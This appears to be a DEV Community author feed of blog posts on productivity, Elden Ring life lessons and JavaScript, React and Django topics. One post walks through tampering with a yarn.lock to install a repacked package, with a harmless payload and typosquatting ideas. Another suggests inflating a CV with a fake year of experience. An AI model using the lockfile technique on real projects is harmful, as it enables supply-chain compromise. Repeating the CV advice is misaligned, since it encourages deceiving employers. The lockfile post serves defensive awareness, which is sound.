DEV Community: Nick K

🏆 Ultimate productivity system

Nick K — Sat, 10 Feb 2024 23:42:39 +0000

Let's clarify up front, there won't be any productivity templates, calendar schedule optimizations or cool new methodologies to organize your to-do lists. It is all fluff. Instead of discussing it, we're going back to core, the stuff that's always been sitting there in plain sight. Before optimizing every detail of any productivity system, we will need to build it first.

Take care of yourself.

To build anything lasting, we need to remember that we're just humans. We can't get stuff done if we don't look after ourselves. You might be able to push yourself to pass an exam at university, but that won't work in the long run. Productivity is a marathon, it was never a sprint.

😴 Sleep

Make sure you get enough of quality sleep. Just sleeping more than 8–9 hours in a room with fresh air and a good temperature, with no phone around, can make you more productive than any Notion template ever could.

☑️ Set an alarm when you need to prepare for sleep ~1h before actually going to sleep, so you have time to wrap things up.

☑️ Mentally prepare to oversleep the first week or two, while you're fixing your schedule.

🥗 Food

Simply put, our body turns food into energy, and our brain needs this energy to work well. If you eat junk food, your brain will make average or even bad decisions, and you'll get stuck in a cycle of such decisions, eating bad food, and feeling tired.

☑️ Estimate how often do you eat "bad" food.

☑️ Get rid of fast food at home as cookies and chips.

🕺💃 Exercise

Yes, it's that simple, you need to let your brain rest and your body to work out. Your brain can solve problems while it's resting. Plus, it works better with the hormones you get from exercising.

☑️ Try at least a few sports available nearby, search for the most fun for you.

☑️ Consider purchasing a watch, which can track your steps. Set a daily goal.

Focus

It's not about finishing every task, every challenge, every game, or every book. Being productive is about achieving the goals that matter to you.

🎯 Choose the Goal

To work on something, you need to choose what that something is. Keep it simple, you don't need to figure out your life's goal right away. Just pick something that you think will be important in the near future, like the next month or a quarter, and start working on it.

Trust the process

It might be a good idea to start with a goal of getting your daily routine in order, like sleeping, eating, and exercising. It's not as easy as it sounds, it took me two months to go from awful to kinda okay. It's just hard to break bad habits and start good ones.

☑️ Prepare a list of all your goals.

☑️ Pick one on which you would work next.

☑️ Set a deadline or achievable goal.

🛡️ Guard your time

While working on your goal, protect the time you've set aside for it. It's not easy, friends will invite you out, you'll want to play the latest games, watch the newest shows. You don't have to cut everything out, that would just burn you out. Just make sure you do something that gets you closer to your goal before anything else. If something can be put off, try to put it off.

Also, being busy might feel productive, but it's just a trick your brain plays on itself to feel good. Getting your goals done one by one will feel much better than working hard on them for years.

Try to focus on as few things as possible at once. If you have 3 main goals, but only 30 free minutes before work or university, it's hard to decide what to do.

☑️ Block 1h per day in your calendar, so you can spend some time on your goals.

Balance

Productivity, like happiness, isn't a goal you reach, it's a path or a balance you are trying to keep. One day you might have a good established routine, the next day work might keep you late, and a few days later you might find yourself playing games late night. Things like this happen, so you would need to bring the system back where it should be. It won't always be great, but the best part is it won't always be bad either.

As a summary:

Sleep and eat well.
Exercise or at least regularly go for a walk.
Pick one or two goals important to you.
Maximize time working on things, which are important to you (e.g. family).
Minimize time spent on everything else.

What is your routine right now? Do you have any advices for people trying to fix their daily routine? Or for people who trying to find a next big goal?

Life lessons that Elden Ring can teach us

Nick K — Mon, 20 Mar 2023 09:50:43 +0000

Intro

Elden Ring is an outstanding game for tons of reasons, but the most catching for me was that how it messes with your brain regarding problem-solving. It teaches you how to be patient, even if you want to run and scream in panic, how to pick your enemies and actually prepare for a fight. Half of the game happens not on computer, but inside your mind. So I thought it would be fun to figure out what it can teach us outside of gaming station.

If you never played Elden Ring, it's not required for this article, even gaming experience in general is not needed 👌

👝 Starting stats matters, but not in long term

Elden Ring: There are different classes to start the game with, if you pick samurai or vagabond, then your first few locations and first few bosses will be noticeably easier, than if you start as a wretch. But these differences won't be any noticeable when you go to mid or late game.

Life: It will be obviously easier to get into coding career if you were born in a first world country with a rich parents, but it doesn't mean you should give up if you weren't a part of a lucky few. Once you made your way to the first job opportunity, starting background won't almost matter. Once you have a few years experience, it won't matter at all.

😓 Don't knock the closed door, prepare instead

Elden Ring: First NPC you meet will send you to the castle, when you will most probably be obliterated, because recommended level is around 30, but you will approach it with 10th or 15th. So gamewise, you need to explore other locations, level up and upgrade the gear before approaching this bad fella.

Life: Sometimes you may face the issue or learning topic, which looks far beyond that you can comprehend, e.g. computer science theme or data science math. If it's hard right now, it doesn't mean it will be hard in some foreseeable future. Try to get back to basics or learn related topics, once you have enough context, you will be able to tackle the original issue with much more ease than before. Just don't rush into closed doors with no avail, prepare and break them.

🗡️ Equip a better gear

Elden Ring: There are enemies, which deals high amount of special damage type, e.g. final boss and holy damage. If you spend some time gathering the right armor and talismans, you can buff your holy damage negation up to 70-80%, which will make your final fight MUCH easier than if you had normal 10-20% holy damage negation.

Life: There are different tools for different needs, if you can't make your instrument to solve the task for you, maybe you need a better tool. If you need caching there is Redis, if you need text search there is ElasticSearch or Algolia. Not everything needed to be solved via PostgreSQL and backend.

🌐 Search for guides and best practices online

Elden Ring: Some bosses as Malenia or Rykard have strong weird move sets, which makes fighting them kinda hard. Sometimes the fastest way to tackle it is to just search on YouTube guides, there are plenty of good ones about how to beat each and every boss in Elden Ring.

Life: You probably know about Stack Overflow already, you search there if you see an unusual bug, but the same thing applies to each problem you have. If you need to implement caching, but not sure what approach to use, just google it, search conferences talks on YouTube, browse Reddit. A lot of people out there are trying hard to make these articles and videos to make your life easier, why not appreciate it and actually get help?

🤝 Ask a friend for help

Elden Ring: For the majority of bosses and tough enemies, you can summon ghosts to assist you in the fight. Some attract bosses attention, some deal tons of damage. Using them will give you some room to heal, buff, cast spells and get back to fight recovered. Also, you can summon friends and fight tough bosses in co-op.

Life: Same thing applies to the real life, it's always better to have someone to discuss the issue. Sometimes the only act of discussion will help you find the solution yourself, just because you structured your knowledge. Some people also use ducks, some people like pair-programming. Don't be afraid to ask for help, this will help to strengthen bonds with coworkers, today they help you, tomorrow you will help them.

🧀 Try to cheese it

Elden Ring: Even if you are well-prepared for a boss, your level is ok, your gear is ok, but you still can't beat it, sometimes there is another way to deal with it. You can just cheese it aka abuse some mechanics to defeat the boss without much effort. Some people say it's bad, some people say it's ok, but feels like it's up to you to choose to use it or not, at the end, we all just want to have fun and beat the game.

Life: As in the games, there are ways to cheese things in life. If you can't get to a job interview because every recruiter just rejects you based on your few experience years, maybe it's possible to add an extra year to the CV, so you can get to an actual interview and present yourself and answer all the tricky questions yourself.

🧙‍♂️ Experiment with different builds

Elden Ring: The game is kinda long, it is about 60 hours, so you may get bored at some point to fight the same style as you started. You can reset all your skill points and choose a completely different build. You were a warrior with a colossal sword? Maybe it's time to be a mage, paladin or rogue 🤔 Or even mage with a colossal sword, why not?

Life: You're also not obliged to code from first year of university to the deathbed. Try something new, dive into design or product management or machine learning or crypto or anything else you are interested in. You also don't need to switch completely, try to do 50% of coding and 50% of something else and see how it goes. Try different things, pick which works for you.

🧘 Instead of panicking, calm down and breath

Elden Ring: There are so many moments, when you are overwhelmed with things, which are happening on the screen, e.g. a massive dragon prepared to breathe fire, you want to run away by your instinct, but the safest place is actually under his belly. Same thing is when you see a boss rushing to you, you want to roll back, but the safest spot is actually behind the boss, so you need to roll right into the scary enemy.

Life: Keeping your brain calm is an essential skill in life, if your production server is down, the last thing you want to do is to restart everything you can randomly and expect luck. If someone calls you and asks for money urgently, the last thing you need to do is to send them right away. Keeping yourself calm and cold headed is also counterintuitive, but important in adult life.

Final thoughts

The most important thing I learned from Elden Ring is that if I can't solve the issue, it's not the end of the world, I will be able to approach it one way or another, just need to step back, breath, think, prepare and try again something different.

Just don't give up, no matter what are you doing, you will make it sooner or later, just keep going and that's it.

Also, if you never played Elden Ring, give it a try, it is worth your time, it's not that hard, but also it's not that casual.

I took some photos from Google, so referencing the sources:

Injecting backdoors to NPM packages

Nick K — Wed, 16 Feb 2022 14:15:06 +0000

❗️❗️❗️ I'm not advising anyone to actually backdoor any open source packages, it's actually the opposite, let's make a world a better place.

In this article I want to reproduce steps described in reasearch back in 2019 and see if it is still an issue - Why npm lockfiles can be a security blindspot for injecting malicious modules.

In short words, when installing dependencies, your package manager looks first into lock files like yarn.lock. There it can find package name, exact package version, link to the sources and integrity checks which helps to identify if package wasn't corrupted or altered on the way.



is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

The issue is that someone can update this lock file and put a new link which is pointing to a backdoored package version. Let's try to replicate this attack and see how hard is it.

Installing package

As an example, we will try to modify is-number package. There is nothing special about this package, it's just small, so it will be easy to modify it.

Let's install it and check if it works at all.



yarn add is-number

index.js



const isNumber = require("is-number");

console.log(isNumber(1));



➜  malicious-lockfile git:(master) ✗ node index.js
true

yarn.lock



# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

Everything is legit for now.

Copying package

As you may know or noticed in lock file before, packages are served as tgz files. It's not hard to build one yourself, just use the built-in npm command npm pack.



mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file

Output:



➜  is-number git:(master) ✗ npm pack
npm notice
npm notice 📦  is-number@7.0.0
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B  index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name:          is-number
npm notice version:       7.0.0
npm notice filename:      is-number-7.0.0.tgz
npm notice package size:  3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum:        a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity:     sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files:   4
npm notice
is-number-7.0.0.tgz

That's basically it, you need only this steps to replicate a package.

Alter sources

Current index.js version is super simple.



/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};

Let's not do anything bad, but just print Hello world 🌎



/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  // --- NEW LINE ---
  console.log('Hello world 🌎')
  /// --- NEW LINE ---
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};

Now let's just pack it again, but we need to print integrity number, which we will need later, we can do it with --json option.



➜  is-number git:(master) ✗ npm pack --json
[
  {
    "id": "is-number@7.0.0",
    "name": "is-number",
    "version": "7.0.0",
    "size": 3734,
    "unpackedSize": 9649,
    "shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
    "integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
    "filename": "is-number-7.0.0.tgz",
    "files": [
      {
        "path": "LICENSE",
        "size": 1091,
        "mode": 420
      },
      {
        "path": "README.md",
        "size": 6514,
        "mode": 420
      },
      {
        "path": "index.js",
        "size": 445,
        "mode": 420
      },
      {
        "path": "package.json",
        "size": 1599,
        "mode": 420
      }
    ],
    "entryCount": 4,
    "bundled": []
  }
]

Serve this package

For this experiment we won't even publish it to npm or anywhere else, we can just serve this file locally with http-server. This file will be accessible locally via http://127.0.0.1:8080/is-number-7.0.0.tgz.

Altering lock file

The final preparation step is to alter lock file, it won't be hard since we know shasum and integrity number from the step before.

yarn.lock before:



# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==

yarn.lock after:



# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
  integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==

Check if it works

We need to clean node_modules first, also we will need to clear yarn cache because otherwise it will install official version which it cached before (when we installed it first time).



➜  malicious-lockfile git:(master) ✗ rm -rf node_modules
➜  malicious-lockfile git:(master) ✗ yarn cache clean
➜  malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍  Resolving packages...
[2/4] 🚚  Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗  Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨  Building fresh packages...
✨  Done in 0.17s.

As we may see in verbose version, we fetched local package version, so let's run it.



➜  malicious-lockfile git:(master) ✗ node index.js

Hello world 🌎

true

Why is it matter?

Someone may think already: "Why should I care? You've updated local dependency and hacked yourself, nice job bro 🤣".

The issue is that it's not that simple, if we take a look on how lock file updates usually look like in open source, we will see that they are hidden from a reviewer in most cases.

Btw, be honest right now, how many times before did you look into 500+ changes in lock file personally?

So it won't be an easy task to spot one URL change in this blob of changes. What if we even upload is-nomber to the npm? package.json will still say that we're using normal is-number, but we will install is-nomber 🤷 Good luck spotting one letter mismatch in 700+ changed lines.

Even if NPM will start taking down misspelled packages like is-nomber, we still can register yranpkg.com and mimic the exact path to the package there. Good luck spotting one letter url change in 700+ changed lines.

Final notes

You need to be extra careful about strangers who update dependencies in your open source project. It may look like a first open source commitment from a student, but it also may be an attempt to backdoor everything from experienced black hat. Maybe you should even only allow updating lockfiles and installing new packages to proven contributors, but it's not a 💯 percent proven solution (read this).

An additional approach may be to use lockfile-lint, but you shouldn't just rely on this script entirely because there are other ecosystems than npm, and they may have similar issues.

upd: This issue isn't only yarn specific, there are open issues/discussions in pnpm, yarn1 & yarn2, and npm.

Another related read would be A post-mortem of the malicious event-stream backdoor

If you enjoyed these articles, take a look on these two:

Hope you had fun 👋

Btw, let's be friends here and on twitter 👋

Deep dive into React keys bugs

Nick K — Mon, 14 Feb 2022 11:50:22 +0000

A few days ago, I was casually browsing open positions and one job application had a quick question: "What is wrong with this React code?"



<ul>{['qwe', 'asd', 'zxc'].map(item => (<li>{item}</li>))}</ul>

Quick answer would be that it's missing key property, but at this moment I caught myself on the feeling that I don't deeply understand what are React keys and what can go wrong if we use it incorrectly. Let's figure it out together!

✋ Stop here for a moment, can you come up with an actual bug caused by misusing React keys? Please share your example in the comments!

What are React keys anyway

This will be a bit of simplified explanation, but it should be enough to dive into examples.

When we have some previous inner state and the new inner state, we want to calculate the difference between them, so we can update them DOM to represent the new inner state.



diff = new_state - old_state
new_dom = old_dom + diff

Let's take a look at this example, there is a list of items, and we are adding new item to the bottom of the list.

Computing this diff won't be that hard, but what happens if we shuffle the new list?

Computing diff over these changes suddenly isn't that easy, especially when there are children down the tree. We need to compare each item with each to figure out where something moved.

Keys for the rescue! Basically with keys you are hinting to React where all items moved in this shuffle, so it doesn't need to calculate it itself. It can just take existing items and put them in the right place.

So what bad can happen if we ignore or misuse these keys?

Case 1. Performance issues

Here is the simple app if you want to play with it yourself.

We can use a simple component which just logs if props were updated.



let Item: FC<any> = ({ item }) => {
    let [prevItem, setPrevItem] = useState(undefined);
    useEffect(() => {
        console.log('On update', item, prevItem);
        setPrevItem(item);
    }, [item]);

    return <div>{item.title}</div>;
};

Example 1. Add items to the end of the list, don't use keys

As you may expect, there are just new components.

Example 2. Add items to the start of the list, don't use keys

Things aren't going as expected here, there are n updates on each click where n is the number of items in the list. On each new item, all items shift to the next component, which may be a bit confusing at first.

Take another look at the console log here again.

Example 3 & 4. Add items anywhere, use ID as a key

It works perfectly, no unneeded updates, React know exactly where each component moved.

Case 2. Bugs with inputs

Here is the simple app if you want to play with it yourself.

The issue with keys in this example is that if you don't re-create DOM elements because of incorrect React keys, these elements can keep user input, when underlying data was changed.

In this example, there is just a list of Items.



{items.map((item) => (
    <Item item={item} onUpdate={handleUpdate} onDelete={handleDelete} />
))}

And each item is just an input with a control button.



let Item = ({ item, onUpdate, onDelete }) => {
    // ...

    return (
        <div>
            <input
                defaultValue={item.title}
                placeholder="Item #..."
                onChange={handleChange}
            />
            &nbsp;
            <button onClick={handleDelete}>x</button>
        </div>
    );
};

Also, there is a dump of an inner state down on the page



{JSON.stringify(items, null, 2)}

Example1. Create a few items and delete the first one, don't use any keys.

Before deletion:

After deletion:

As you see, inner state got unsynchronized with DOM state, because inner models shifted as in the first example, but view stayed the same.

This happens because React doesn't actually recreate an element of the same type (docs), but just updates the property.

Example 2. Create a few items and delete the first one, use ID as a key.

As expected, everything works fine here.

Case 3. Bugs with effects & DOM manipulations

Here is the simple app if you want to play with it yourself.

The fun part is that React keys isn't only about lists, they may be used with singe item as well.

Let's imagine that we have a task to show some notifications for users for 5 seconds, e.g. these are some "💰 Deals 🤝".

Some straightforward implementation when you just hide this box when timer fires.



// We want this message to disapear in 5 seconds
let Notification = ({ message }) => {
    let ref = useRef<HTMLDivElement | null>(null);

    useEffect(() => {
        setTimeout(() => {
            if (ref.current != null) {
                ref.current.style.display = 'none';
            }
        }, 5000);
    }, [message]);
    return <div ref={ref}>{message}</div>;
};

Example 1. Generate notification, wait a bit, generate again.

🐞 Nothing happens if we try to generate another notification.

This is because React doesn't re-create the component just because of an updated property, it expects the component to handle this on its own.

Example 2. Generate notification, wait a bit, generate again, but use message as a key.

It works!

Case 4. Bugs with animations

Here is the simple app if you want to play with it yourself.

What if we want to somehow highlight newly created items in our fancy to-do list?



@keyframes fade {
    from {
        color: red;
        opacity: 0;
    }
    to {
        color: inherit;
        opacity: 1;
    }
}

.item {
    animation: fade 1s;
}

Example 1. Add new item to the end, don't use any keys.

Looks ok to me.

Example 2. Add new item to the start, don't use any keys.

Something is off, we are adding items to the start, but the last item is highlighted.

This happens again because React shifts inner models, same issue as for bug with inputs.

Example 3. Add new item to the start, use ID as a key.

Everything works perfectly.

Final notes

So as we figured out, React keys aren't something magical, they are just hinting React if we need to re-create or update some component.

As for the initial question:



<ul>{['qwe', 'asd', 'zxc'].map(item => (<li>{item}</li>))}</ul>

Here is the stup where you can try all solutions.

Solution 1: Do nothing.

In this concrete example, this list should work just fine because there are just 3 items, and you don't update them, but it won't be as much performant and there will be an annoying warning in the console.

Solution 2: Item as a key.

If you are sure that this list have only unique values, e.g. contact information, you can use these values as keys.



      <ul>
        {['qwe', 'asd', 'zxc'].map((item) => (
          <li key={item}>{item}</li>
        ))}
      </ul>

Solution 3: Index as a key.

If you are sure that this list never changes by user or anyone else except by the developer, you can use index as a key.



      <ul>
        {['qwe', 'asd', 'zxc'].map((item, index) => (
          <li key={index}>{item}</li>
        ))}
      </ul>

Be careful using indexes as keys because in all examples above you can set keys as indexes and all bugs will persist.

Solution 4: Generated keys.

You also can try to generate the keys.



let generateKey = () => {
  console.log('Generating key...');
  return Math.trunc(Math.random() * 1000).toString();
};

/// ...
    <ul>
        {['qwe', 'asd', 'zxc'].map((item) => (
          <li key={generateKey()}>{item}</li>
        ))}
    </ul>

In this case, you need to consider that these keys will be generated every time you update the component's state.

Solution 5: Keys which are generated once

To solve previous issue you need to move this array somewhere outside of a React component and generate keys manually.



let addKeysToArray = (array) =>
  array.map((item) => ({
    key: generateKey(),
    value: item,
  }));

let array = ['qwe', 'asd', 'zxc']
let arrayWithKeys = addKeysToArray(array)
console.log(arrayWithKeys)

References

p.s.: I'm looking for a remote senior frontend developer position, so if you are hiring or if you can reference me, please take a look on my cv 👋

Django Templates with React

Nick K — Fri, 11 Feb 2022 16:12:25 +0000

Django Templates with React

I'm relatively new to the Django world, and I love it for the amount of ready-to-use solutions. The only thing I don't quite like is Django Templates. After using React for a while, these templates feels a bit cumbersome and inelegant.

I found a few articles recommending creating full-blown React SPA and using Django just as a REST API. But there are few issues with this solution, which makes it not that attractive.

If you create full-blown React SPA, you will have code duplication right away, because there is routing here and there, there is authentication and authorization, there are error pages, there are states & data models... For some applications / teams / companies it is an acceptable and even desirable outcome, but not for me and my small application.

So, how do we use React just as a template engine?

Idea

There is a nice thing about React, it doesn't just mount to the DOM body or somewhere random, it mounts to the exact element you specify.

ReactDOM.render(
  <h1>Hello, world!</h1>,
  document.getElementById('root')
);

So the idea is to try to implement routing using one mounting point just for one page.

At this point, an attentive reader will notice that for each page we will actually load JavaScript for every other page because it's the same bundle, but please bear with me for a while.

Routing

So, we can specify multiple mounting points in index.js:

ReactDOM.render(
  <h1>Page 1!</h1>,
  document.getElementById('page-1')
);

ReactDOM.render(
  <h1>Page 2!</h1>,
  document.getElementById('page 2')
);

If there is <div id="page-1"/> on the page, then the user will see the first page, but if there is <div id="page-2"/>, then the user will see the second page.

On the Django side, you will just need to render <div> block with the right ID:

{% extends "base.html" %}  

{% load static %}  

{% block content %}  
    <div id="{{ element_id }}"></div>

    <script src="{% static 'index.js' %}"></script>
{% endblock %}

def index_view(request):  
    if request.method == 'GET':  
    return render(
        request, 
        'react-page.html', 
        { 'element_id': 'todos-index' }
    )

Bundle size

Now it's the time to figure out how not to load JavaScript for pages which aren't used right now.

There is actually a built-in React feature, which is called Code Splitting. You can load pages only when you actually need them, which will improve user experience.

So our pages routing will start looking something like this:


let Page1 = React.lazy(() => import('./page1'))
let Page2 = React.lazy(() => import('./page2'))

ReactDOM.render(
    <Suspense fallback={<></>}>
        <Page1/>
    </Suspense>, 
    document.getElementById('page-1')
);

ReactDOM.render(
    <Suspense fallback={<></>}>
        <Page2/>
    </Suspense>, 
    document.getElementById('page-2')
);

Context data

At this point we can implement guards and routing on Django side and render static pages using React. Now it's time to figure out how to pass data.

We can use Django built-in called json-script which takes some data, escapes dangerous characters and dumps it to the JSON, which is readable by JavaScript. Let's try to leverage it.

{% extends "base.html" %}  

{% load static %}  

{% block content %}  
    <div id="{{ element_id }}"></div>  
 {{ page_context | json_script:'page-context' }}  

    <script src="{% static 'index.js' %}"></script>  
{% endblock %}

And get this data on React side


//custom hook
export let usePageContext = <T = any>() => {  
    let [pageContext, setPageContext] = useState<T | undefined>(undefined)  
    useEffect(() => {  
        let pageContext = document.getElementById('page-context').textContent  
        setPageContext(JSON.parse(pageContext))  
    }, [])  
    return pageContext as T  
}

interface Todo {  
    id: number  
    title: string  
}  

const TodosIndexPage = memo(() => {  
    let pageContext = usePageContext<{ todos: Todo[] }>()  
    let todos = pageContext?.todos  
    return <>  
    <h1>React todos page</h1>  
    <ul>
        {todos?.map(todo => <li key={todo.id}>{todo.title}</li>)}  
    </ul>  
    </>
})  

export default TodosIndexPage

Final notes

That's basically it, there are only few steps to make it work:

Separate mounting points for React.
(Optional, but good for performance) Setup code splitting for React.
Return target mounting point on Django side.
Send page context on Django side.
Get page context on React side.

You can find a working example on my GitHub github.com/kozlovzxc/djangoReactTemplates, but I encourage you to play with it yourself, because you probably will come up with something better!

p.s.: You can also try to duplicate Django routes using React Router instead of multiple mounting point, but I'm not sure about benefits though.

Btw, let's be friends here and on twitter 👋

JS interview in 2 minutes / var ⚔️ let ⚔️ const

Nick K — Tue, 08 Jun 2021 17:28:01 +0000

Question:
What are the differences between declaring variables using var, let and const?

✨ Bonus: What is hoisting?

Quick answer:
These are a few ways to declare variables. var is a legacy one, let and const are new ones, where let is for mutable variable reference and const is for immutable reference.

Hoisting is when you use a variable before you define it.

Longer answer:
Let's start with var. Syntax is kind of straightforward.

var x = 1, y = 2;
console.log(x, y) // 1, 2

As you may guess, it is legacy for some reason. And you were right, there are even a few reasons.

For example, var declaration happens before any code execution, so you can basically use a variable in code and declare it later.

x = 2
var y = x + 1
console.log(y) // 3
var x;

It is totally weird and tricky from my point of view, because only variable definition comes before the execution, but not initialization.

var y = x + 1
console.log(x) // undefined
console.log(y) // NaN
var x = 2;

So, when you use variable before definition is called hoisting ✨ (Don't use that. Really.)

upd: hoisting is actually can be useful with function declarations, e.g. recursive functions. Take a look on this comment https://dev.to/lowla/comment/1m48f

The real issue with var is its scope. var declare variable for the current function scope, but not for the block scope. Here.

for (var i = 0; i < 5; i++) {
  setTimeout(() => console.log(i))
}

Guess what. The output is 5,5,5,5,5.

🤯🤯🤯

Ok, ok, that was dark times, and you are safe now (almost).

let and const come into play. They will work exactly as you would expect (almost). Back to the previous example.

// Notice let
for (let i = 0; i < 5; i++) {
  setTimeout(() => console.log(i))
}

The output is ok, it is 0,1,2,3,4.

So, what is the difference between let and const? Basically, let is for the variables you want to be able to update and const is for static ones.

The "almost" issue I've mentioned before is that when you use const the value isn't changeable only for some primitive types like numbers.

let a = 1
a = 2 // 👌

const b = 1
b = 2 // Error: Assignment to constant variable.

But const doesn't make complex types as arrays or objects immutable.

const y = [1]
y.push(2) // 👌
console.log(y) // [1,2]

🤷 Life is strange, yeah 🤷

Real-life applications:

So as for real life applications, there is a useful destructive assignment.

let [a, b] = [1,2,3]
console.log(a, b) // 1, 2

let [c, ...d] = [1,2,3]
console.log(c, d) // 1, [2,3]

let { e, f } = { a: 1, e: 2, f: 3 }
console.log(e, f) // 2, 3

let { g, ...h } = { a: 1, g: 2 }
console.log(g, h) // 2, { a: 1 }

There is an especially useful case, when you need to remove some field.

let { password, ...safeUser } = user
return safeUser

Another real-life tip is not to mutate any array or object, but it is a bit out of scope of this article.

Resources:
MDN/var
MDN/let
MDN/const

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

JS interview in 2 minutes / Memoization 💭

Nick K — Wed, 26 May 2021 11:55:48 +0000

Question:
What is memoization?

Quick answer:
It is a way to optimize application performance by caching results of time-consuming pure functions calculations.

Longer answer:
As we know from the previous post, there are pure and impure functions.

Pure functions are basically functions that return the same result if you pass the same data and they don't change anything outside of its scope.

let pureAdd = (a, b) => a + b

This pureAdd function doesn't change anything outside it just returns the answer and it always returns the same answer for the same arguments.

With these restrictions come the benefits. If the result is the same every time we run the functions, then why don't we just calculate it once and save the result?

// Don't reuse it, it is just an example
let memo = (func) => {
  let cache = {}
  return (...args) => {
    if (cache[args]) {
      console.log('Cache hit :)')
      return cache[args]
    }
    console.log('Cache miss :(')
    let result = func(...args)
    cache[args] = result
    return result
  }
}

function sleep(ms) {
  var start = new Date().getTime(), expire = start + ms;
  while (new Date().getTime() < expire) { }
  return;
}

let slowAdd = (a, b) => {
  sleep(1000)
  return a + b
}

let memoAdd = memo(slowAdd)
console.log(memoAdd(1, 2))
// * waiting for 1 sec *
// Cache miss :(
// 3
console.log(memoAdd(1, 2))
// No waiting
// Cache hit :)
// 3

Real-life applications:
It's not only a theoretical benefit but actually a practical one.

For example, there is React.memo which does memoization.

If your component renders the same result given the same props ... React will skip rendering the component, and reuse the last rendered result.

Also, there is a useMemo hook, which also does memoization.

useMemo will only recompute the memoized value when one of the dependencies has changed. This optimization helps to avoid expensive calculations on every render.

Resources:
wiki/memoization
react-docs

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

Hidden power of || and &&

Nick K — Mon, 24 May 2021 08:36:52 +0000

TLDR: Logical operators actually return one of the operands, so you can refactor code using this feature.

Usually, you may see || and && logical operators in if cases.

if (case1 || case2) { 
  doSomething()
}

So you may expect that || and && returns a boolean value, but it is only correct if values on both sides of these operators are boolean as well.

Actually, these operators return one of their arguments. E.g. if they were functions they would be implemented like this.

function or(a, b) {
  if (a) {
    return a
  }
  return b
}

function and(a, b) {
  if (a) {
    return b
  }
  return a
}

It may sound and look a bit confusing, but let’s dive into examples.

let obj = { prop: 1 }

// boring part
true || false // -> true
false || true // -> true
true && false // -> false
false && true // -> false

// interesting part
obj || false // -> { prop: 1 }
false || obj  // -> { prop: 1 }

// more interesting part
true && obj // -> { prop: 1 }
obj && true // -> true 
true || obj  // -> true
obj || true // -> { prop: 1 }

Ok, how do we use it?

Using the || operator you can set default values.

const title = props.customTitle || 'Default title'

// Same to

let title = 'Default title'
if (props.customTitle) {
  title = props.customTitle
}

Using the && operator we can check for property presence in an object.

let name = response && response.data && response.data.name

// Same to

let name;
if (response) {
  if (response.data) {
    if (response.data.name) {
      name = response.data.name
    }
  }
}

So if response or response.data is undefined or null this assignment won’t throw any error.

Combining || and && we can get a nice construction, which checks for properties and can set a default value.

let name = response && response.data && response.data.name || 'UNKNOWN'

Btw in newer versions of TypeScript, you can use a nullish coalescing, which simplifies && chains even more.

let name = response?.data?.name || 'UNKOWN'

UPD: Needed to mention this can be confused with lazy evaluation, but actually it is short-circuit evaluation. Thanks to my friend Ray

UPD2: as @lukeshiru mentioned in the comments, it is better to use nullish coalescing instead of && and ||.

It's because values like 0 are treated like falsy, which can introduce bugs.

let beginnerCarDriver = {
  // ...
  yearsOfExperience: 0
}
let getDriveExperience = (driver) => 
  driver && driver.yearsOfExperience || "Not a driver"
